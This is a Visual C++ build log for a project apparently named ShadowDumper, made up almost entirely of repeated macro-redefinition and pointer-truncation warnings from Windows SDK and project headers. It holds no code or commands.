C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2613): message : see previous definition of 'STATUS_SXS_INVALID_DEACTIVATION'
|
||||
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\forkdump.cpp(31,6): warning C4090: 'argument': different '__unaligned' qualifiers
|
||||
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\forkdump.cpp(119,62): warning C4311: 'type cast': pointer truncation from 'HANDLE' to 'DWORD'
|
||||
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\forkdump.cpp(119,62): warning C4302: 'type cast': truncation from 'HANDLE' to 'DWORD'
|
||||
main.cpp
|
||||
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\unhook.h(13,1): warning C4005: 'NtCurrentProcess': macro redefinition
|
||||
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\syscallsNative.h(21): message : see previous definition of 'NtCurrentProcess'
|
||||
The contents of <format> are available only with C++20 or later.
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(66,1): warning C4005: 'STATUS_WAIT_0': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2549): message : see previous definition of 'STATUS_WAIT_0'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(171,1): warning C4005: 'STATUS_SUCCESS': macro redefinition
|
||||
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\syscallsNative.h(24): message : see previous definition of 'STATUS_SUCCESS'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(223,1): warning C4005: 'STATUS_ABANDONED_WAIT_0': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2550): message : see previous definition of 'STATUS_ABANDONED_WAIT_0'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(246,1): warning C4005: 'STATUS_USER_APC': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2551): message : see previous definition of 'STATUS_USER_APC'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(282,1): warning C4005: 'STATUS_TIMEOUT': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2552): message : see previous definition of 'STATUS_TIMEOUT'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(291,1): warning C4005: 'STATUS_PENDING': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2553): message : see previous definition of 'STATUS_PENDING'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(747,1): warning C4005: 'DBG_EXCEPTION_HANDLED': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2554): message : see previous definition of 'DBG_EXCEPTION_HANDLED'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(756,1): warning C4005: 'DBG_CONTINUE': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2555): message : see previous definition of 'DBG_CONTINUE'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(831,1): warning C4005: 'STATUS_SEGMENT_NOTIFICATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2556): message : see previous definition of 'STATUS_SEGMENT_NOTIFICATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(994,1): warning C4005: 'STATUS_FATAL_APP_EXIT': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2557): message : see previous definition of 'STATUS_FATAL_APP_EXIT'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1332,1): warning C4005: 'DBG_REPLY_LATER': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2558): message : see previous definition of 'DBG_REPLY_LATER'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1350,1): warning C4005: 'DBG_TERMINATE_THREAD': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2559): message : see previous definition of 'DBG_TERMINATE_THREAD'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1359,1): warning C4005: 'DBG_TERMINATE_PROCESS': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2560): message : see previous definition of 'DBG_TERMINATE_PROCESS'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1368,1): warning C4005: 'DBG_CONTROL_C': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2561): message : see previous definition of 'DBG_CONTROL_C'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1377,1): warning C4005: 'DBG_PRINTEXCEPTION_C': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2562): message : see previous definition of 'DBG_PRINTEXCEPTION_C'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1386,1): warning C4005: 'DBG_RIPEXCEPTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2563): message : see previous definition of 'DBG_RIPEXCEPTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1395,1): warning C4005: 'DBG_CONTROL_BREAK': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2564): message : see previous definition of 'DBG_CONTROL_BREAK'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1404,1): warning C4005: 'DBG_COMMAND_EXCEPTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2565): message : see previous definition of 'DBG_COMMAND_EXCEPTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1413,1): warning C4005: 'DBG_PRINTEXCEPTION_WIDE_C': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2566): message : see previous definition of 'DBG_PRINTEXCEPTION_WIDE_C'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1445,1): warning C4005: 'STATUS_GUARD_PAGE_VIOLATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2567): message : see previous definition of 'STATUS_GUARD_PAGE_VIOLATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1456,1): warning C4005: 'STATUS_DATATYPE_MISALIGNMENT': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2568): message : see previous definition of 'STATUS_DATATYPE_MISALIGNMENT'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1467,1): warning C4005: 'STATUS_BREAKPOINT': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2569): message : see previous definition of 'STATUS_BREAKPOINT'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1478,1): warning C4005: 'STATUS_SINGLE_STEP': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2570): message : see previous definition of 'STATUS_SINGLE_STEP'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1781,1): warning C4005: 'STATUS_LONGJUMP': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2571): message : see previous definition of 'STATUS_LONGJUMP'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1808,1): warning C4005: 'STATUS_UNWIND_CONSOLIDATE': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2572): message : see previous definition of 'STATUS_UNWIND_CONSOLIDATE'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1923,1): warning C4005: 'DBG_EXCEPTION_NOT_HANDLED': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2573): message : see previous definition of 'DBG_EXCEPTION_NOT_HANDLED'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2090,1): warning C4005: 'STATUS_ACCESS_VIOLATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2574): message : see previous definition of 'STATUS_ACCESS_VIOLATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2099,1): warning C4005: 'STATUS_IN_PAGE_ERROR': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2575): message : see previous definition of 'STATUS_IN_PAGE_ERROR'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2117,1): warning C4005: 'STATUS_INVALID_HANDLE': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2576): message : see previous definition of 'STATUS_INVALID_HANDLE'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2162,1): warning C4005: 'STATUS_INVALID_PARAMETER': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2577): message : see previous definition of 'STATUS_INVALID_PARAMETER'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2262,1): warning C4005: 'STATUS_NO_MEMORY': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2578): message : see previous definition of 'STATUS_NO_MEMORY'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2319,1): warning C4005: 'STATUS_ILLEGAL_INSTRUCTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2579): message : see previous definition of 'STATUS_ILLEGAL_INSTRUCTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2400,1): warning C4005: 'STATUS_NONCONTINUABLE_EXCEPTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2580): message : see previous definition of 'STATUS_NONCONTINUABLE_EXCEPTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2409,1): warning C4005: 'STATUS_INVALID_DISPOSITION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2581): message : see previous definition of 'STATUS_INVALID_DISPOSITION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3342,1): warning C4005: 'STATUS_ARRAY_BOUNDS_EXCEEDED': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2582): message : see previous definition of 'STATUS_ARRAY_BOUNDS_EXCEEDED'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3352,1): warning C4005: 'STATUS_FLOAT_DENORMAL_OPERAND': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2583): message : see previous definition of 'STATUS_FLOAT_DENORMAL_OPERAND'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3362,1): warning C4005: 'STATUS_FLOAT_DIVIDE_BY_ZERO': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2584): message : see previous definition of 'STATUS_FLOAT_DIVIDE_BY_ZERO'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3372,1): warning C4005: 'STATUS_FLOAT_INEXACT_RESULT': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2585): message : see previous definition of 'STATUS_FLOAT_INEXACT_RESULT'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3382,1): warning C4005: 'STATUS_FLOAT_INVALID_OPERATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2586): message : see previous definition of 'STATUS_FLOAT_INVALID_OPERATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3392,1): warning C4005: 'STATUS_FLOAT_OVERFLOW': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2587): message : see previous definition of 'STATUS_FLOAT_OVERFLOW'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3402,1): warning C4005: 'STATUS_FLOAT_STACK_CHECK': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2588): message : see previous definition of 'STATUS_FLOAT_STACK_CHECK'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3412,1): warning C4005: 'STATUS_FLOAT_UNDERFLOW': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2589): message : see previous definition of 'STATUS_FLOAT_UNDERFLOW'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3422,1): warning C4005: 'STATUS_INTEGER_DIVIDE_BY_ZERO': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2590): message : see previous definition of 'STATUS_INTEGER_DIVIDE_BY_ZERO'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3432,1): warning C4005: 'STATUS_INTEGER_OVERFLOW': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2591): message : see previous definition of 'STATUS_INTEGER_OVERFLOW'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3442,1): warning C4005: 'STATUS_PRIVILEGED_INSTRUCTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2592): message : see previous definition of 'STATUS_PRIVILEGED_INSTRUCTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4388,1): warning C4005: 'STATUS_STACK_OVERFLOW': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2593): message : see previous definition of 'STATUS_STACK_OVERFLOW'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4905,1): warning C4005: 'STATUS_DLL_NOT_FOUND': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2594): message : see previous definition of 'STATUS_DLL_NOT_FOUND'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4934,1): warning C4005: 'STATUS_ORDINAL_NOT_FOUND': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2595): message : see previous definition of 'STATUS_ORDINAL_NOT_FOUND'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4944,1): warning C4005: 'STATUS_ENTRYPOINT_NOT_FOUND': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2596): message : see previous definition of 'STATUS_ENTRYPOINT_NOT_FOUND'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4954,1): warning C4005: 'STATUS_CONTROL_C_EXIT': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2597): message : see previous definition of 'STATUS_CONTROL_C_EXIT'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(5032,1): warning C4005: 'STATUS_DLL_INIT_FAILED': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2598): message : see previous definition of 'STATUS_DLL_INIT_FAILED'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(6029,1): warning C4005: 'STATUS_CONTROL_STACK_VIOLATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2599): message : see previous definition of 'STATUS_CONTROL_STACK_VIOLATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(7623,1): warning C4005: 'STATUS_FLOAT_MULTIPLE_FAULTS': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2600): message : see previous definition of 'STATUS_FLOAT_MULTIPLE_FAULTS'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(7633,1): warning C4005: 'STATUS_FLOAT_MULTIPLE_TRAPS': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2601): message : see previous definition of 'STATUS_FLOAT_MULTIPLE_TRAPS'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(7765,1): warning C4005: 'STATUS_REG_NAT_CONSUMPTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2602): message : see previous definition of 'STATUS_REG_NAT_CONSUMPTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(8748,1): warning C4005: 'STATUS_HEAP_CORRUPTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2603): message : see previous definition of 'STATUS_HEAP_CORRUPTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(8976,1): warning C4005: 'STATUS_STACK_BUFFER_OVERRUN': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2604): message : see previous definition of 'STATUS_STACK_BUFFER_OVERRUN'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(9103,1): warning C4005: 'STATUS_INVALID_CRUNTIME_PARAMETER': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2605): message : see previous definition of 'STATUS_INVALID_CRUNTIME_PARAMETER'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(9166,1): warning C4005: 'STATUS_ASSERTION_FAILURE': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2606): message : see previous definition of 'STATUS_ASSERTION_FAILURE'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(10075,1): warning C4005: 'STATUS_ENCLAVE_VIOLATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2607): message : see previous definition of 'STATUS_ENCLAVE_VIOLATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(10808,1): warning C4005: 'STATUS_INTERRUPTED': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2608): message : see previous definition of 'STATUS_INTERRUPTED'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(10817,1): warning C4005: 'STATUS_THREAD_NOT_RUNNING': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2609): message : see previous definition of 'STATUS_THREAD_NOT_RUNNING'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(11129,1): warning C4005: 'STATUS_ALREADY_REGISTERED': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2610): message : see previous definition of 'STATUS_ALREADY_REGISTERED'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(15048,1): warning C4005: 'STATUS_SXS_EARLY_DEACTIVATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2612): message : see previous definition of 'STATUS_SXS_EARLY_DEACTIVATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(15057,1): warning C4005: 'STATUS_SXS_INVALID_DEACTIVATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2613): message : see previous definition of 'STATUS_SXS_INVALID_DEACTIVATION'
|
||||
simpleMDWD.cpp
|
||||
syscallsMDWD.cpp
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(66,1): warning C4005: 'STATUS_WAIT_0': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2549): message : see previous definition of 'STATUS_WAIT_0'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(171,1): warning C4005: 'STATUS_SUCCESS': macro redefinition
|
||||
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\syscallsNative.h(24): message : see previous definition of 'STATUS_SUCCESS'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(223,1): warning C4005: 'STATUS_ABANDONED_WAIT_0': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2550): message : see previous definition of 'STATUS_ABANDONED_WAIT_0'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(246,1): warning C4005: 'STATUS_USER_APC': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2551): message : see previous definition of 'STATUS_USER_APC'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(282,1): warning C4005: 'STATUS_TIMEOUT': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2552): message : see previous definition of 'STATUS_TIMEOUT'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(291,1): warning C4005: 'STATUS_PENDING': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2553): message : see previous definition of 'STATUS_PENDING'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(747,1): warning C4005: 'DBG_EXCEPTION_HANDLED': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2554): message : see previous definition of 'DBG_EXCEPTION_HANDLED'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(756,1): warning C4005: 'DBG_CONTINUE': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2555): message : see previous definition of 'DBG_CONTINUE'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(831,1): warning C4005: 'STATUS_SEGMENT_NOTIFICATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2556): message : see previous definition of 'STATUS_SEGMENT_NOTIFICATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(994,1): warning C4005: 'STATUS_FATAL_APP_EXIT': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2557): message : see previous definition of 'STATUS_FATAL_APP_EXIT'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1332,1): warning C4005: 'DBG_REPLY_LATER': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2558): message : see previous definition of 'DBG_REPLY_LATER'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1350,1): warning C4005: 'DBG_TERMINATE_THREAD': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2559): message : see previous definition of 'DBG_TERMINATE_THREAD'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1359,1): warning C4005: 'DBG_TERMINATE_PROCESS': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2560): message : see previous definition of 'DBG_TERMINATE_PROCESS'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1368,1): warning C4005: 'DBG_CONTROL_C': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2561): message : see previous definition of 'DBG_CONTROL_C'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1377,1): warning C4005: 'DBG_PRINTEXCEPTION_C': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2562): message : see previous definition of 'DBG_PRINTEXCEPTION_C'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1386,1): warning C4005: 'DBG_RIPEXCEPTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2563): message : see previous definition of 'DBG_RIPEXCEPTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1395,1): warning C4005: 'DBG_CONTROL_BREAK': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2564): message : see previous definition of 'DBG_CONTROL_BREAK'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1404,1): warning C4005: 'DBG_COMMAND_EXCEPTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2565): message : see previous definition of 'DBG_COMMAND_EXCEPTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1413,1): warning C4005: 'DBG_PRINTEXCEPTION_WIDE_C': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2566): message : see previous definition of 'DBG_PRINTEXCEPTION_WIDE_C'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1445,1): warning C4005: 'STATUS_GUARD_PAGE_VIOLATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2567): message : see previous definition of 'STATUS_GUARD_PAGE_VIOLATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1456,1): warning C4005: 'STATUS_DATATYPE_MISALIGNMENT': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2568): message : see previous definition of 'STATUS_DATATYPE_MISALIGNMENT'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1467,1): warning C4005: 'STATUS_BREAKPOINT': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2569): message : see previous definition of 'STATUS_BREAKPOINT'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1478,1): warning C4005: 'STATUS_SINGLE_STEP': macro redefinition
|
||||
